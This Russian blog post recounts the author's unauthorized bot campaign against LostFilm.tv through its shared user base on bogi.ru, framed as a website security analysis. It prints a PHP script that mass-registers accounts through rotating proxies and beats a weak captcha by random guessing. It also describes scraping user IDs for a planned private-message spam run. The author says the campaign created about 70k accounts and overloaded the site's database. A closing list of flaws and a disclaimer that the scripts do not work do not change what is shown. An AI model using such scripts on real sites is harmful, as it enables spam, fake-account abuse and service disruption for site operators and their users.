Вот и наступил долгожданный год Змеи, который я, честно говоря, очень и очень ждал. Он принесет всем нам много нового и изменить нашу жизни при условии что мы сами того захотим. Для себя я поставил очень много целей на этот год, одно из которых является возрождение данного блога. Но, если раньше я стремился делать его только сеошным, то сейчас он будет совокупности SEO, кодинга и моего портфолио. Первое что хочется сделать – ввести новую категорию «Анализ безопасности веб-ресурсов».
И так, начнем… Пару лет назад, когда дела шли очень хорошо и не требовали моего вмешательства и лишних телодвижений, я развлекал себя написанием различными спамерами по ЛС. И, как то раз, я вспомнил о LostFilm.tv. Данный сайт посещает в день порядка 300к человек и суммарное количество пользователей тогда превышало пары миллионов юзеров.
Для себя я поставил следующую задачу:
- Написать регистратор новых акков с подтверждением по почте
- Cобрать список зарегистрированных пользователей
- И попытаться разослать им некое сообщение.
Этап 1: Регистрация
Методом научного тыка было выявленно, что LostFilm.tv пользуется одной базой юзеров с проектом bogi.ru. Сейчас я уже не помню, но по какой-то причине я для себя понял, что регистрироваться мы будем именно там. Переходим на страницу http://bogi.ru/auth/registration, где мы ожидаем видеть все стандартные поля и капчу. Но.. Вместо капчи мы можем наблюдать ее парадоию: из трех вариантов ответов нужно выбрать правильный. Т.е. всегда отсылаем значение captcha=1 и теория вероятности все сделает за нас. Забегая дальше хочу отметить, что потверджения по почте как не было, так и нет, что также являеться грубейшей ошибкой.
$curl->Cookies=""; $curl->change_proxy("xproxy.txt","proxy"); $curl->Load("http://bogi.ru/auth/registration"); $form=$fp->ParseForms($curl->Content); $data=$form[0]['data']; $data['first'] = get_from_file("Z:/tmp/field_value/russian_name.txt"); $data['last'] = get_from_file("Z:/tmp/field_value/russian_surname.txt"); $data['nick'] = get_from_file("Z:/tmp/field_value/nick.txt").mt_rand(1,99); $data['password'] = generate_passwd(8,2); $data['sex'] = 1; $data['email'] = $data['nick']."@gmail.com"; $data['captcha'] = mt_rand(1,3); $curl->Referer="http://bogi.ru/auth/registration"; $curl->Load("http://login.bogi.ru/captcha.php?s=".$data['sid']); $curl->Load("http://bogi.ru/auth/registration",$data); if(strpos($curl->Content,"Поздравляем вас с успешной регистрацией")) { mysql_query("INSERT INTO `account` (`login`,`passwd`) VALUES ('".$data['nick']."','".$data['password']."')")or die(mysql_error()); file_put_contents("good_account.txt",$data['nick'].":".$data['password']."\r\n",FILE_APPEND); echo "++++\r\n"; } elseif(strlen($curl->Content)<30) { echo "bad proxy\r\n"; } else { echo "Fuck\r\n"; } flush();
Этап 2: Сбор пользователей
Проанализировав данный ресурс я принял решения отпарсить все новости, пробежаться по комментариям и вытащить ссылки на личный страницы пользователей, а точнее только их userId. Далее, я отчистил таблицу пользователей от тех аккаунтов, в которых не совершался вход в течении 6 месяцев и удалил аккаунты со статусом Admin, VIP.
Этап 3: Рассылка сообщений
Тут также нет никакой защиты. Все просто – сабмитим форму и вперед.
Итоги: За45 минут я нарегистрировал порядка 70к аккаунтов положив базу данных Лостфильма. Рассылку сообщения я не стал делать, т.к. понял что отдача будет минимальна: юзеры на данном ресурсе не привыкли общаться по ЛС и движок лостфильма никак не оповещает пользователей о новых сообщениях.
Дыры в LostFilm.tv
- Отсутсвие капчи как таковой.
- Возможность регистрации бесконечного числа пользователей с одного IP.
- Нет потдверждения аккаунта через почту.
- Отсутсвие лимита на использование ЛС.
- Возможность отправлять актив-линк в теле сообщения.
PS Маленький отчет я отсылал агенству adverti.me, но они так и не ответили. На момент публикации данного поста сделаю это еще один раз.
PPS Все материалы выложены в данном блоге только для ознакомления, все скрипты являются не рабочими. Повторять выше-описанное никому не советую.